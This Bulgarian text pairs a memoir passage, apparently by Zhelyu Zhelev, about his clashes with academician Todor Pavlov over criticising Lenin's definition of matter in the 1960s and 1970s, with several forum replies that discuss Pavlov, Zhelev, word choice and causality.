Аз най-напред сърдечно благодарих, че при неговата огромна заетост е намерил време да ме приеме още същия ден.
После се представих и му разказах в сбита форма моите идеи за бъдещето на философията.
Но докато разказвах, забелязах, че лицето на Тодор Павлов започваше все повече да се променя. Първоначалният покровителствен израз изчезна и се замени с някаква отчужденост и дори враждебност. А когато свърших своя разказ, той ми каза:
- Момче, не вярвам в България да се е родил човекът, който ще събори Маркс, Енгелс и Ленин. Това са гении. Велики авторитети, които трябва да изучаваме, а не да оспорваме...
- Академик Павлов, аз не съм дошъл при вас да събарям Маркс, Енгелс и Ленин, а да искам вашата лична подкрепа да публикувам тезата си за характера на историческия материализъм...
- Но това, което ти предлагаш, представлява пълно отрицание на тяхното дело, на всички основни положения в тяхното философско творчество... Ето, ти оспорваш философския характер на историческия материализъм и го обявяваш за частна наука, а Ленин е казал "нашата философия - диалектическият и историческият материализъм - е излята като от едни къс стомана".
- Но ако марксизмът-ленинизмът е наука, както постоянно и навсякъде се твърди, то тогава трябва да може да се оспорва мнението и на най-големите авторитети. Между авторитета и истината науката винаги дава предпочитание на истината. Благодарение на това тя се развива, а не закостенява. Само в религията авторитетите са безспорни и неприкосновени.
- Ти не ме учи какво е наука и какво - религия. Ти чел ли си "Материализъм и емпириокритицизъм" на Ленин?
- Да, разбира се.
- Колко пъти?
- Ами трябва да има два-три пъти сумарно.
- Какво? Аз досега съм го прочел най-малко 60 пъти. И всеки път откривам все нови и нови неща. До края на живота си мисля още толкова пъти да го прочета. Отивай вкъщи и започвай с молив и тетрадка да четеш и конспектираш "Материализъм и емпириокритицизъм"...
- Е, тогава какво излиза? Вие в Големия салон на БАН пред цялата научна общественост твърдите, че свободните дискусии са жизнено необходими на науката, че без тях науката не може, а ето сега, когато в един конкретен случай ви искат подкрепата за научна дискусия, вие отказвате подкрепа...
Настъпва неловко мълчание. Междувременно акад. Павлов е загубил първоначалното си достолепие и покровителствено отношение. Трудно скрива раздразнението си от моето упорство.
- Ти какво предлагаш? Как си представяш публикуването?
- Ами, аз съм ходил и в "Народна младеж", и в "Студентска трибуна" да предлагам една статия на тази тема. И на двете места харесаха текста. Намират го за много интересен и логичен. И са готови да го пуснат, но само при едно условие - писмена резолюция отгоре от авторитетен философ, най-добре, ми казаха, това да бъде акад. Т. Павлов...
- Дума да не става. Ти представяш ли си какво ще стане, ако се публикува такава статия в "Народна младеж". Ще настъпи пълно объркване сред трудещите се... сред младежта... Ние в учебните заведения и в партийната просвета учим хората, че историческият материализъм е неделима част от нашата марксистко-ленинска философия, ти искаш аз да дам зелена улица на една немарксистка и идеологически вредна теза...
Отново настъпи неловко мълчание, но този път за по-кратко време. Т. Павлов продължи:
- Това, което мога да направя, е да ти пусна тезата в сп. "Философска мисъл" в раздела "Дискусии". Напиши една по-голяма статия и я донеси в редакцията. Дай я на Стефан Ангелов - той отговаря за историческия материализъм.
Благодарих на акад. Т. Павлов и си тръгнах. На връщане по пътя ми мина през ума мисълта, че може да ме е преметнал. По този начин да ме е махнал от главата си, както се и оказа впоследствие.
Твърде скоро представих уговорения текст във "Философска мисъл", но когато след време се срещнах със Стефан Ангелов, за да го попитам защо не пускат статията, той ми каза направо, че Т. Павлов никога не би позволил на страниците на неговото списание да излезе такава статия, а когато му казах, че той самият ми е обещал да я публикува и е предложил този вариант, ми беше казано, че академикът просто е искал да ме махне от главата си...
След срещата с акад. Т. Павлов се върнах в катедрата по логика, където ме чакаха Д. Спасов и Асен Игнатов. Възпроизведох им разговора. Те много се смяха. А когато стигнахме до възможното объркване на трудещите се относно философския характер на историческия материализъм, възклицанието на Д. Спасов беше: "Те, трудещите се, нямат друга работа, та по цял ден обсъждат характера на историческия материализъм. Възможно ли е Т. Павлов това сериозно да го мисли? Едва ли. По-скоро го е използвал като претекст да не се ангажира с препоръка за статията. Той е хитър..."
На излизане от университета, Асен със свойствения си начин неочаквано да избухва в смях ми каза: "Слушай, ако този разговор след години се възпроизведе в автентичния му вид, хората ще го възприемат като гоголевска сцена от "Мъртви души"...
2. Редколегията на сп. "Философска мисъл" о(б)съжда моята критика на Ленинското определение на материята - 1964 г.
Втората ми среща с Т. Павлов беше през 1964 г. Тя стана в редакцията на сп. "Философска мисъл". Бях завършил дисертацията си за философското определение на материята и по закон трябваше задължително да публикувам части от нея или поне основните й тези в една отделна статия, за да ме допуснат до публична защита.
По онова време друго специализирано философско списание в България нямаше и аз, ща не ща, трябваше там да предложа статията си.
Разбира се, в статията се доказваше пълната несъстоятелност на Лениновото определение на материята като "обективна реалност, съществуваща вън и независимо от нашето съзнание и отразяваща се в него". С широк набор от аргументи се показваше, че това определение е не само научно несъстоятелно, но и вредно за философията, особено като се има предвид догматично безапелационният начин, по който се налага като единствено възможно научно определение.
Статията беше подействала на членовете на редакционната колегия като червено на бик. Започнаха един след друг да ме громят, и то, разбира се, само с идеологически аргументи. Колко неправилна, колко погрешна и вредна е такава теза... И какво недопустимо посегателство е тя върху Лениновото определение на материята, което представлява крайъгълният камък на цялата марксистко-ленинска философия - на диалектическия и историческия материализъм.
Един от членовете на редколегията в критическата си екзалтация дори се провикна: "И това ли трябваше да доживеем... В България да се критикува Ленин... Чудовищно... Срам и позор за нашата философска мисъл!"
Изказаха се всички членове на редколегията до един и всички без изключение ме заклеймиха като ревизионист. За публикуване на статията вече и дума не можеше да става.
Накрая, когато решиха, че аз съм напълно размазан, Тодор Павлов като главен редактор на списанието реши да покаже снизхождение към "блудния син" и предложи да се откажа от тези глупости, които съм написал, и да седна да напиша една сериозна статия в защита на ленинското определение на материята.
Членовете на редколегията одобрително кимаха към великодушния жест на главния редактор. Само двама-трима изразиха съмнение, че ще мога да се справя с такава отговорна задача.
Аз изтъпях. Не можех да повярвам на ушите си. Как е възможно да предложиш на човек, който убедено е твърдял и доказвал една теза, да се откаже от нея и да започне да доказва точно обратното. Дявол да го вземе, си мислех аз, най-сетне съществува и такова нещо като научна съвест!
Съвсем накрая, когато ми дадоха думата да се защитя срещу критиките, аз започнах точно с това. Въпросът за научната съвест. Но това изобщо не ги впечатли. Явно никой от тях нямаше проблем със съвестта, защото не ги интересуваше научната истина. Очевидно за тези хора, възпитани в сталинистки дух, и истината, и неистината са еднакво ценни, когато служат на партийната идеология. За тях това беше критерият!
Казах им, че никой от тях не се е докоснал до научните аргументи на статията, че в критичната еуфория по много странен начин бяха заобикаляни точно аргументите, поради което аз смятам, че основната теза на моята статия изобщо не е оборена.
Тук вече те престанаха да ме слушат, а Т. Павлов направи с ръцете си жест, който трябваше да показва, че случаят е безнадежден и е безсмислено да си губят времето с мен.
Моето мнение за редколегията не беше по-ласкаво и затова им казах, че си изтеглям статията обратно и нека да не си мислят, че "Философската мисъл" е единственото място, където може да се публикува. Съществува и чужбина, и там има философски списания.
И си тръгнах. И вече буквално на вратата, Т. Павлов, обръщайки се към членовете на редколегията, каза: "Това момче няма да може да си изкарва хляба от философията!", на което аз доста ядно отговорих: "Много жалко, че вие, освен да си изкарвате хляба, друго не правите във философията."
Разбира се, това, че си бях изтеглил статията съвсем не попречи на главния редактор още в следващата книжка на "Философска мисъл" да публикува редакционна статия, подписана от него, в която той разгромява "псевдоноваторите във философията", които се опитват да оборват Лениновото определение за материята, без да са го разбрали.
"Определението на философското понятие за материята също си остава, каквото ни го завеща Ленин, каквото то е било валидно през цялата история на философията (валидно преди още да е било формулирано?!! - Ж. Ж.) и каквото ще бъде валидно за всяка бъдеща философия.
Тръгнем ли обаче по пътя на отрицанието на Лениновото определение на материята и на Енгелсовото определение на основния въпрос на философията, рискуваме да завършим в края на краищата с пълна ревизия на основните положения на марксистко-ленинската философия, т. е. с решително напускане всяка позиция на материализма и диалектиката и свличане на позицията на идеализма и метафизиката и в края на краищата пак на мистиката.
Ние засега ще отбележим само, че у нас открито ревизионистично отрицание на Лениновото определение на философското понятие за материята намираме например в статията "За философското определение на материята" от българските автори Желю Желев, Ив. Джаджев и Д. Уваков, поместена в кн. 5, 1964, с. 633-635 на "Немско списание за философия". (Философска мисъл, кн. 5, год. ХХ, 1964, с. 9.)
И след като излага съвсем превратно и непълно основните аргументи на нашата статия, публикувана в "Немско философско списание", следва окончателната присъда: "Краят увенчава всяко дело", казва българската поговорка. А краят тук е кристално ясен - имаме явна ревизия на основата на основите на цялата философска концепция на Ленин в "Материализъм и емпириокритицизъм", имаме явна ревизия на Лениновото определение на философското понятие за материята, а оттук с логическа необходимост и на Лениновата теория на отражението.
На предстоящата у нас национална философска конференция ще имаме възможност във връзка с ленинската теория на отражението и нейните нови аспекти и критики да разгледаме и други някои "новаторски" опити за връщане от Ленин към Беркли, Авенариус, Ремке, Поанкаре, Конт, Кант и др. Тук ще отбележим само, че др. Ж. Желев бе предложил своята статия (с почти същото съдържание) за публикуване в сп. "Философска мисъл". Редколегията обаче единодушно отклони това предложение, тъй като за разлика от някои апологети на безпринципните дискусии по всички въпроси и при всички обстоятелства, тя сметна за недопустимо да публикува на страниците на "Философска мисъл" явно ревизионистически възгледи върху ленинските определения на философията и на философското понятие за материята."
В кн. 1 на сп. "Септември" от 1965 г. акад. Т. Павлов отново публикува разгромяваща статия срещу критиците на Ленин под заглавието "За някои дискусионни неща". За нас това беше добре дошло, защото правеше и литературните среди причастни към дискусията.
Всъщност статията в "Септември" преповтаряше казаните във "Философска мисъл" неща. Но тук акад. Т. Павлов беше направил и една груба политическа грешка, като цитира и онзи пасаж от своята критика, където на практика той си позволяваше да чете нотация на немското философско списание какво да публикува и какво не. "В светлината на догматичната и националистическа вълна, задала се от Изток, и на известни ревизионистически отстъпления от основната линия на марксизма-ленинизма, набелязали се на Запад, този въпрос не е безразличен за нас, както не може, иска ни се да вярваме, да бъде безразличен и за редколегията на иначе сериозното и четено с интерес у нас "Немско списание за философия". ("Септември", кн. 1, 1965 г., с. 33-34.)
Този пасаж, изнесен на страниците на литературното списание "Септември", което имаше несравнимо повече читатели от "Философска мисъл", веднага привлече вниманието на регионалния кореспондент на "Die Welt" и след няколко дни на страниците на авторитетния западногермански вестник цъфна статия, в която се обяснява как сталинистът Т. Павлов поучава източногерманците какво могат да правят и какво не във философията. Очевидно за ръководството на ГДР това трябва да се е оказало твърде унизително, защото ЦК на ГЕСП, доколкото ми е известно, е реагирало по съответния начин до ЦК на БКП, като е протестирало срещу подобно вмешателство.
За пореден път бяхме забъркани от Т. Павлов от трибуната на Деветия конгрес на БКП (ноември 1966 г.). Без да споменава имена, бяхме изобличени моя милост, Нарцис Попов и Асен Игнатов.
За мен беше казано следното: "Какво обаче може да се каже и как трябва да се процедира при други случаи, когато например на всички другарски, лични и колективни усилия и логически аргументи самозваните критици на марксизма-ленинизма, живеещи със самочувствието на големи "новатори", в противопоставянето си на "догматиците" в името уж на борбата срещу култовщината, отричат ленинското философско понятие за материята, обявявайки го за логически противоречиво и научно вредно, като стигат в края на краищата до отрицание и на всички без изключение основни положения на Лениновия "Материализъм и емпириокритицизъм". Да се гладят ли по косъма подобни "новатори" и "критици", особено когато те и след като са бивали изключвани от партията по политически причини и освобождавани от преподавателска работа по идеологически причини, са намирали, за съжаление, определено съчувствие и морална подкрепа у някои научни и културни работници" (Стенографски дневник на Деветия конгрес на БКП, София, стр 487).
За Нарцис Попов: "Също така как да се процедира, когато например кандидат на философските науки стига до предложението за съчетаване философията на Ницше, теоретически основоположник, може да се каже, на фашизма, с философията на марксизма и ленинизма, и до концепции за културния напредък, изградени върху основата на известните американски "теории" за индустриалното общество, разпространявани усилено на Запад." (Пак там, с. 488.)
За Асен Игнатов: "Без да говоря за други подобни случаи, не мога да не отбележа, че на страниците на някои наши периодични издания, имащи за задача да пропагандират марксистко-ленинската научна идеология, един преподавател в университета, изключен също по политически причини от партията, излиза ни повече, ни по-малко със статия, посветена на скептицизма като основен принцип на развитието на марксистко-ленинската наука и идеология." (Пак там.)
Този сталинистки морал в науката, който приемаше за съвсем нормално да громиш публично някого и да не му даваш никаква възможност да се защити, ме беше предизвикал на едно публично събрание във Философско-историческия факултет да обвиня Тодор Павлов, че насажда "философски бандитизъм", за което впоследствие имах допълнителни неприятности.
Мисля, че същото възмущение беше накарало по-късно Радой Ралин в "Люти чушки" да напише за Т. Павлов известната си епиграма, озаглавена "Едному академику":
Коса сива.
Глава дива!
3. Ламар предлага тактиката на "Осул Кетапа"
Третата среща стана години по-късно. Мисля, че беше през 1971 г., когато вече се беше родила малката ми дъщеричка Йорданка.
Тъстът ми, угрижен за това, че вече имаме второ дете, а мен шеста година ме държат на село и не ми дават никаква работа по специалността, един ден ми казва, че трябва все пак да отида да разговарям с Тодор Павлов. По онова време акад. Т. Павлов беше тарторът на идеологията в България. Беше член на Политбюро и наблюдаваше целия "идеологически фронт", което на обикновен човешки език означаваше, че в тази област "той коли, той беси".
Иди, казва тъст ми, при Т. Павлов, и той е човек, и ще разбере какво значи младо семейство с една заплата. Като всеки добър и честен човек, тъст ми беше и много наивен. Наивно вярваше, че като му се обяснят нещата, академикът ще се трогне, ще махне с ръка на миналото и ще ми предложи работа.
Обяснявам му, че Т. Павлов е един от най-фанатичните сталинисти и поради това с него такъв човешки разговор не може да се води. Той най-напред ще поиска да си направя пълна и безусловна самокритика за Ленин, ще поиска публично да посипя главата си с пепел и едва тогава може да се съгласи изобщо да разговаряме.
А пък аз на такъв компромис никога не мога да се съглася, още повече като знам, че истината е на моя страна...
Виждам обаче, че моите думи не го убеждават напълно... Все остава съмнението, че не могат да бъдат точно тъй нещата, както аз ги представям.
Тогава, за да се убеди, му предлагам да отиде в София, да се срещне с Т. Павлов и сам да разговаря с него, за да види със собствените си очи.
Старецът, който често отскачаше до София, на драго сърце се съгласи. Една сутрин сложи звездата за "Герой на социалистическия труд" и замина за столицата. Най-напред се среща с акад. Димитър Косев, с когото са приятели и другари още от детските и юношеските години. Разказва на Косев за какво е дошъл и му иска съдействието. Д. Косев го води при Станко Тодоров, с когото също се познават от времето, когато Станко е първи секретар на Бургаския окръжен комитет на БКП. Разказват на министър-председателя, който е и член на Политбюро, за какво е дошъл бай Иван Маринов от Грозден. Станко ги изслушва внимателно, но им казва, че по случая нищо не може да направи, тъй като в Политбюро ресорният отговорник за идеологията е акад. Т. Павлов. Трябва при него да отидат и по телефона веднага им урежда среща. Когато наближават академията, където е трябвало да се състои срещата, акад. Д. Косев отказва да отиде при Т. Павлов, тъй като винаги е изпитвал неприязън към него заради фанатичния му сталинизъм. Тук ще отворя една скоба заради характерологичните особености на двамата академици - особености, които играха важна роля в научния живот на страната.
За разлика от Т. Павлов, който беше фанатичен последовател на Ленин, готов да идеологизира и политизира всички проблеми на философията, Косев беше умерен и балансиран човек. Той също си беше убеден комунист от младини (участвал е в Септемврийското въстание 1923 г.), но заедно с това у него винаги е бил ясно изразен стремежът към търсене на обективната истина, към изследване на фактите и събитията без предубеждение.
Може би естеството на материята, която изследваше, го е научило да се придържа към такъв стил на мислене. Все пак да не забравяме, че историята е наука само когато е здраво опряна върху основните факти и документи за събитията.
Възможно е за тази по-голяма трезвост в неговото мислене и поведение определена роля да е изиграл един трагичен факт от фамилната му история. Неговият по-малък брат Иван (Косев) като революционер бяга от България и загива в лагерите на Сталин в Сибир...
Че доайенът на историците беше съвсем различен от философския папа, може да се види и от един такъв детайл от биографията на Стефан Савов, който последният, не знам защо, винаги е спестявал. От 1968 до 1972 г. Савов работи при акад. Д. Косев като негов личен секретар към Обединението по история в БАН. При постъпването на работа Савов му съобщава: "Другарю Косев, аз трябва да ви кажа, че съм син на Димитър Савов, който е осъден от Народния съд..., за да не го научавате от други...", на което Косев отговаря, че това нещо изобщо не го интересува. Интересува го квалификацията и добросъвестното отношение към работата...
Четири години по-късно, когато Ст. Савов пожелава заради по-високото възнаграждение и по-интересната работа да отиде в Съюза на преводачите, акад. Косев лично поръчителства пред Леда Милева.
За да не остане читателят с убеждението, че идеализирам акад. Косев, за да изпъкнат по-добре черните краски в образа на акад. Т. Павлов, ще кажа, че Косев беше ректор на университета, когато ме изгониха от СУ. Формално той можеше да спре тази процедура. Казвам "формално", защото въпросът беше предрешен на друго място и на друго равнище и ректорът тогава беше длъжен да изпълнява волята на висшестоящите партийни и държавни инстанции.
Спомням си когато влязох при него в ректорския кабинет на СУ да се жалвам и търся защита срещу политическата и административна репресия заради дисертацията ми. Той дълго ме слуша и накрая ми каза безпомощно: "Абе, момче, къде си тръгнал от мечка ремък да дереш... Ами че тя, естествено, ще те изяде..."
Аз не се и надявах на друго. Предварително знаех, че каузата е пердута, защото нещата бяха предрешени другаде. Той го е знаел не по-зле от мен. Но това беше най-високата академична инстанция, към която трябваше да се обърна, иначе щеше да излезе, че приемам репресията като справедливо наказание.
Направих това не много лирично отклонение за характерите на двамата академици не за друго, а за да обясня двата различни сценария, по които се развиха събитията на философския и историческия "фронт" през 60-те години. При историците не беше дискриминиран никой от старите "буржоазни учени", нито пък от младите бунтари, най-яркият представител на които беше Николай Генчев, който непрекъснато скандализираше идеологическата полиция на ЦК и Държавна сигурност както чрез книгите си, така и чрез лекциите пред студентите.
При философите нещата се развиха по съвсем друг начин. Там имаше същински погроми, в основата на които стоеше акад. Т. Павлов заедно с неговите приближени във Философския институт. В края на 50-те години в Големия салон на БАН имаше "научна" сесия, на която беше разгромен "ремкеанеца" акад. Димитър Михалчев. Неговите последователи бяха заставени публично да се откажат от учителя си и от ремкеанството и да дадат доказателства, че са се преустроили на позициите на марксизма-ленинизма.
В началото на 60-те години започнаха хайките срещу ревизионистите в Катедрата по философия в Софийския университет. Обследван беше Исак Паси, който дразнеше сталинистите просто с по-високата си интелигентност, с пластичния си публицистичен език, с интереса на студентите към неговите лекции. Обследван беше проф. Иван Славов, който по онова време беше само асистент и водеше упражненията по философия във филологическия факултет. Обследвани бяхме Петър-Емил Митев, Асен Игнатов и моя милост. Аз бях обсъждан нееднократно и по различни поводи. В средата на 60-те атмосферата в Катедрата по философия стана до такава степен мракобесническа, че аз бях изключен от БКП, изгонен от университета и по етапен ред и от София.
Асен Игнатов също беше изключен от партията заради "реакционния произход" на жена си и принуден през 1972 г. да избяга на Запад.
От Философския институт при БАН беше уволнен Нарцис Попов за това, че беше публикувал нестандартна статия за Ницше в югославското философско списание "Праксис".
Разказвам тези подробности, за да обясня защо акад. Д. Косев тогава не е пожелал да придружи тъста ми на срещата с Т. Павлов и защо тъст ми в края на краищата е трябвало сам да се яви на тази среща.
На срещата тъст ми е бил приет много радушно от Т. Павлов. След като му разказал кой е, откъде идва и за какво идва, Т. Павлов започнал да говори най-ласкави неща за мен и обещал непременно да помогне за уреждането на нещата, но трябвало да се срещнем лично и да разговаряме...
Тъстът ми се връща от София радостен и преизпълнен с надежди, че нещата най-сетне ще се оправят. Ние, двамата с жена ми, реагирахме доста сдържано и скептично.
Във всеки случай, за да не попарвам съвсем надеждите на тъст ми, казвам му, че ще отида на среща с акад. Т. Павлов, но че много се съмнявам дали от това ще излезе нещо сериозно; че ще отида повече заради хатъра на тъста ми...
В уреченото време, мисля че беше 11 часа преди обяд, влизам в сградата на академията и се насочвам към кабинета на Председателя. В коридора срещам Жоро Братоев да излиза и той ми казва, че Т. Павлов е вътре и ме чака за срещата. Пожела ми успех и се разминахме. Чукам на вратата и в отговор отвътре чувам ясното "да". Влизам и поздравявам с "Добър ден", но не получавам никакъв отговор. Оглеждам се и виждам акад. Т. Павлов, облечен в сребристосив костюм с ордена "Ленин" на китела, нещо пише на бюрото и не вдига глава. Получава се една доста дълга и неловка пауза. В края на краищата той не издържа и пръв се обади с неопределения въпрос:
- Е... е?
- Идвам - казвам му аз - по уговорката, която сте имали с тъста ми да се срещнем и да разговаряме...
- Какво има да разговаряме? Пълна и безусловна самокритика за Ленин. Трябва да напишеш една такава самокритика и аз ще се разпоредя да бъде веднага публикувана в "Работническо дело", "Ново време" и "Философска мисъл". Тогава вече можем да разговаряме за работа и за публична защита...
Понеже очаквах приблизително такъв развой на срещата, бях се приготвил предварително и аз да блъфирам. Отговарям му: "Другарю Павлов, вие представяте ли си колко смешна ще бъде такава самокритика... и как може да компрометира страната... Та ние не сме Китай, за да си правим самокритики в стила на "китайската културна революция"... България все пак е европейска държава...
- Ти няма да ме учиш мен... Като идваше насам, сигурно си срещнал Георги Братоев. Той отива във Франция да си лекува рака. Неговите парижки лекари ще му излекуват рака, но моя рак, рака на времето, няма кой да излекува... И затова съм решил, преди да умра да ви вкарам в правилния път, пътя на марксизма-ленинизма.
На какво прилича това? Извадили сте си пишките и пикаете наляво и надясно върху Маркс и Ленин... Къде дават така?
- Но другарю Павлов - използвам аз кратката пауза, - това не е разговор на равнище, който може да се води в този кабинет...
- Ти няма да ме учиш... Ще си направиш ли самокритика ми кажи! Отговори ми с "да" или "не"!
Разбрах, че разговорът беше свършил. С поклащане на главата му дадох отрицателен знак и си тръгнах...
Оттам се насочих направо към "Парка на свободата", където ме чакаха историците, за да узнаят резултата от срещата. Те живо се интересуваха и се надяваха, че след всички премеждия може най-сетне да има положителен резултат. Казах им направо, че резултатът е отрицателен и започнах в най-общи линии да им предавам съдържанието на разговора, но те недоволни скочиха като един срещу мен и гракнаха: "Чакай, чакай! Така не се разказва! Дай да възпроизведем последователно сцената!"
Николай Генчев седна на една пейка и каза: "Аз съм Т. Павлов и седя тук на бюрото си... Ти влизаш от вратата и какво ми казваш? Какво ти казвам аз?" Така възпроизведохме цялата среща. Всеки епизод беше съпроводен с много коментари, остроумни забележки и с не по-малко смях.
Не се сърдех на моите приятели, защото това не беше продиктувано от нездрав интерес... Тези същите хора се бяха ангажирали с моята политическа защита в далеч по-трудни времена и то неведнъж...
А когато през 1973 г. Т. Павлов, макар и член на Политбюро, заради Людмила изпадна в немилост пред Живков, те успяха чрез натиск върху отделите на ЦК и Министерството на просветата и висшето образование да ми издействат публична защита на кандидатската дисертация на тема "Възможност, действителност, необходимост".
При едно от идванията ми в София Ламар, който беше стар приятел на тъст ми, ни покани на обяд в Клуба на журналистите. Изглежда тъстът ми му беше разказвал подробно за моите истории и премеждия. И Ламар започна направо: "Слушай, момко, така, както си я подкарал войната с бачо Тодор Павлов, никога няма да я спечелиш. Зад него стои ЦК, Философският институт, академията на науките, цялата партия и държавата... А зад теб кой стои? Никой! Ти си сам. Може да си съвършено прав, може цялата истина да е на твоя страна, но с фронтална атака няма да можеш да спечелиш... За да победиш, трябва да приложиш друга тактика - тактиката на "Осул кетапа"!"
- Това пък какво е? - попитах аз, тъй като за пръв път чувах подобно словосъчетание.
- Как да ти го обясня - казва Ламар, - то трудно се обяснява. Вие сега му казвате компромис, ама то не е същото... По-тънко е, по-хитро... Затова можеш да го разбереш от една стара турска приказка, която ще ти разкажа.
Един млад ходжа, като теб, се изучил, научил се да чете Корана и горд със своите знания, се върнал в родното си село. Още на първата служба в джамията разбрал, че старият ходжа не може да чете, а само разлиства Корана и мънка нещо неразбираемо под носа си.
Скочил възмутен младият ходжа и казал на вярващите, че ходжата не чете правилно Корана и с това може да предизвика гнева на Аллаха и да докара големи беди на селото.
Но противно на неговото очакване вярващите да го подкрепят, те се опълчили срещу него и взели страната на стария ходжа. "Толкова години - казали те - старият ходжа ни чете Корана и Аллах нищо лошо не е направил на селото. Кой си ти да поучаваш стария ходжа?...
Отчаян, младият ходжа си тръгнал с наведена глава, но един белобрад старец го спрял и му казал, че така никога няма да може да измести стария ходжа. Трябва да използваш "Осул кетапа"! Трябва - продължил старецът - още утре на молитвата да седнеш най-отпред, пред ходжата и като свърши службата да му кажеш: "Ходжа, ти чете чудесно Корана. Аз съм възхитен, нямам думи... Ходжа, ти си свят човек, мога ли за спомен да си откъсна един косъм от брадата ти? На следващата молитва също ще поискаш да си откъснеш косъм, после пак и така докато ходжата остане без брада. А ти знаеш, че ходжа без брада, ходжа кьосе, няма. Коранът не го позволява. И тогава, щат не щат, теб ще направят ходжа.
Младият човек послушал съвета на белобрадия старец и си постигнал целта.
Каква е поуката, която Ламар искаше да ми внуши, е очевидно и не се нуждае от пояснения. Но аз разказвам този случай не с някаква друга цел, а защото по онова време много хора, добронамерени и доброжелателни към мен, ме съветваха да приема компромиса, за да изляза от дупката, пък после да правя каквото искам...
Някои от моите приятели, главно измежду историците, дори ме ругаеха: Ти си дръвник - един компромис не можеш да направиш, догматик такъв. Тръгнал си да се бориш срещу догматизма, а самият ти си догматик и т. н.
Обяснявам им, че не съм против компромисите, но че в случая става дума за компромис със съвестта, с принципите, за принципен компромис, който обезличава човека и обезсмисля всичко, за което се е борил.
При един такъв разгорещен разговор на мен ми кипна келът и аз на свой ред започнах да ги ругая. Накрая казах на Н. Генчев: "Добре, за да се убедиш, че е безсмислено да се разговаря със сталинист като Т. Павлов, иди ти да разговаряш с него. Ето, аз те упълномощавам да отидеш да говориш от мое име, без обаче да поемаш ангажименти за самокритики и прочие глупости!"
Генчев, както и цялата компания на младите тогава историци, намери предложението за интересно и се реши Н. Генчев незабавно да поиска среща с акад. Т. Павлов.
Още на другия ден поканата за среща беше получена. В уреченото време Генчев се явява в академията. Акад. Т. Павлов го посреща с думите, че се радва на такава среща. Прави му комплимент, че напоследък е станал много известен, че особено много се е прочул със статиите си в сп. "Младеж".
Н. Генчев, с присъщото си остроумие и бързина на реакцията, също му отвръща с комплименти, че акад. Павлов е голям човек, голямо име, но заедно с това му казва, че идва да разговаря не за себе си или по някакви общи въпроси, а за личността и съдбата на философа Ж. Желев, на когото не се разрешава защита на кандидатската му дисертация само затова, че е критикувал определението на Ленин за материята... Все пак, продължил Генчев, ние не можем да преследваме хора за това, че могат да имат мнение, различно от мнението на класиците...
Тук Тодор Павлов избухва и започва да вика: "Вие какво искате? Да ни свалите от власт ли? Как си го представяте изобщо?
На това Н. Генчев веднага отговаря: "Другарю Павлов, аз съм партиен секретар на Историческия факултет. Смятате ли, че ако имах такова намерение, щях да дойда при вас? Ние не правим конспирация... Аз идвам при вас като при папата на философите в България, като при човек, който най-добре може да разбере сложността на ситуацията, в която се намираме... И ви моля да проявите бащинско чувство към един млад и способен човек с две деца, който има бъдеще във философията...
Тук акад. Т. Павлов избухва още по-невъздържано: "Виж какво, другарю Генчев, ние тази власт с кръв сме я взели и само с кръв ще я дадем... Не реки, не морета, океани от кръв ще пролеем и пак няма да я дадем..."
На следващия ден след "разговора" с акад. Т. Павлов, Н. Генчев беше все още като ошашавен. Не можеше да повярва, че това е била действителна среща, а не кошмарен сън. Още по-трудно му беше да повярва, че може да има такива динозаври на сталинизма като Т. Павлов, които при това са и членове на Политбюро и следователно решават съдбините на България...
От друга страна, това беше много полезно, защото моите приятели историци получиха един прекрасен урок по демокрация.
Да си призная, аз, който никога не съм бил злорад, изпитвах нещо като чувство на злорадство всеки път, когато Генчев, с присъщата му артистичност, възпроизвеждаше срещата си с Тодор Павлов. Защото едно е да говориш на студентите за демократизацията на социалистическото общество в резултат на 20-ия и 22-ия конгрес на КПСС и съответните конгреси на БКП, друго е да се сблъскаш с реалния процес на ресталинизация през началния период на Брежневата епоха. Защото възходът на Т. Павлов и компания към върховете на партийната йерархия след свалянето на Хрушчов (през октомври 1964 г.) беше резултат и израз на тази ресталинизация."
Обяснява за Тодор Павлов и за неговата си система. Много мрази Тодор Павлов. А и Андонов на времето много, ама много се засегна, че споменах Тодор Павлов по време на лекция. И какво да правя като обичам Тодор Павлов? Това си е човек, който ми е един от идеалите. Ленинист-философ!!!
За Желев - защо е десидент и как - четеш линка и разбираш. Обаче, УДЪРЖАЙ В ПОНЯТИЕТО СИ (липсва ми Ники :( ), че аз не съм апологет на Желев, така че...
Лиле, мило, защо си служиш с чуждици, бе, душа? Кажи си го "БОЖЕСТВО", не "deity"! Разбирам те, че го правиш от интенция в обичта си към мен, но, в името на народа ;) - недей!!!
169. Както е казал Дугин (философ, който тука малко познават, доколкото ни веднъж не видях някой да си служи с него) - "2 и 2 са количествени неща. При философията се борави с качествени определености!"
Възрастова група?! Айде сега ЕЙДЖИЗЪМ, като при Ники, понякога! Какво е това възрастта? Относителна работа - паспортна, биологична, психологическа... всички те са възрасти и невинаги съвпадат.
Аз границите на философския диалог не ги напускам. Сравни Диоген Киника с мене и ще видиш, че съм къде-къде по-сериозен. ;) Няма да забравя какво пише адаша му Диоген Лаертски - "Хванали го на площада да мастурбира и го запитали как може така! А той рекъл - ЩОМ МОЖЕ ДА СЕ ЯДЕ, ДА СЕ ПИЕ И ПР. ЗАЩО ДА НЕ МОЖЕ И ДА СЕ МАСТУРБИРА?!"...
Не съм съгласен, че "Deity" има нещо повече като смисъл и значение от "Божество", ама простено да ти е! /Всъщност всеки може да си осмисля нещата както си иска. Няма единно мнение по въпроса, доколкото научавам от това: https://en.wikipedia.org/wiki/Deity#Definitions (https://en.wikipedia.org/wiki/Deity#Definitions)./
:)
Моля, моля, за мене е удоволствие да представа онзи труд на Желко Желев. Все пак не е прост човек. Аз и Ахмед Доган ценя като философ. Особено с неговата дума ЗАЕДНОСТ...
170. Лилинко, по принцип нещата нямат само една причина, а комплекс от причини. Там премера с Гошето да речем - казваш, ако не е взел решението, нямало да загине. Но има и много други АКО, както на времето се казваше - "Ако Левски беше с ботуши нямаше да го хванат!",..."Ако Ботев беше с каска, нямаше да го убият!"... :)
Т.е. за да се умре на Хималаите, трябва не само да вземеш решение, но и :
- да вземеш виза... Като не ти дадат виза, ти си вземай решения, колкото щеш...
- да имаш пари да си купиш билета. Нямаш ли пари доста решения отиват на вятъра...
И така. Както виждаме, за да се случат нещата, то те трябва да се причинят от различни фактори и при определени условия. Простото причиняване, линейното едно такова е лесно във физиката, но в социологията, примерно не е.
171. Aз имах предвид света на механиката, примерно.
За останалото - да, може. Както се казва - "Като се обърне колата - пътища много!"...
